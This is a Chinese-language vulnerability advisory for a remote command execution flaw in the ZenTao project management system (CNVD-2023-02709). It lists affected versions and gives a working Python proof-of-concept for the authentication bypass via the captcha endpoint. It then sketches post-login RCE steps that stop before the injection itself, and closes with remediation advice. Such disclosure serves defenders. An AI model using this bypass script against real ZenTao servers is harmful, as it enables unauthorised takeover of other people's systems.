禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709

漏洞描述

禅道项目管理系统存在远程命令执行漏洞，该漏洞源于在认证过程中未正确退出程序，导致了认证绕过，并且后台中有多种执行命令的方式，攻击者可利用该漏洞在目标服务器上注入任意命令，实现未授权接管服务器。

漏洞影响

杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4，<=18.0.beta1（开源版）
杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4，<=8.0.beta1（企业版）
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4，<=4.0.beta1（旗舰版）

漏洞复现

权限绕过：

import requests

header={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
    target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
    r=session.get(target,headers=header)
    zentaosid=r.cookies.get_dict()['zentaosid']
    print(zentaosid)

    header["Cookie"]="zentaosid="+zentaosid
    resp=session.get(url+"/index.php?m=my&f=index",headers=header)
    if "/shandao/www/index.php?m=user&f=login" not in resp.text:
        print("绕过登陆验证")
    else:
        print("无法绕过验证")



if __name__ == '__main__':
    url="http://127.0.0.1:8081/shandao/www/"
    session=requests.Session()
    bypasscookie(url,session)

后台RCE：

先创建Gitlab代码库,拿到repoID

创建好后，去到 http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑

漏洞修复

  1. 进行官方升级：https://www.zentao.net/book/zentaoprohelp/41.html
  2. 安全产品升级：部分厂商安全产品具备识别该漏洞功能，进行版本升级至最新版。
  3. 临时防护措施：可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。
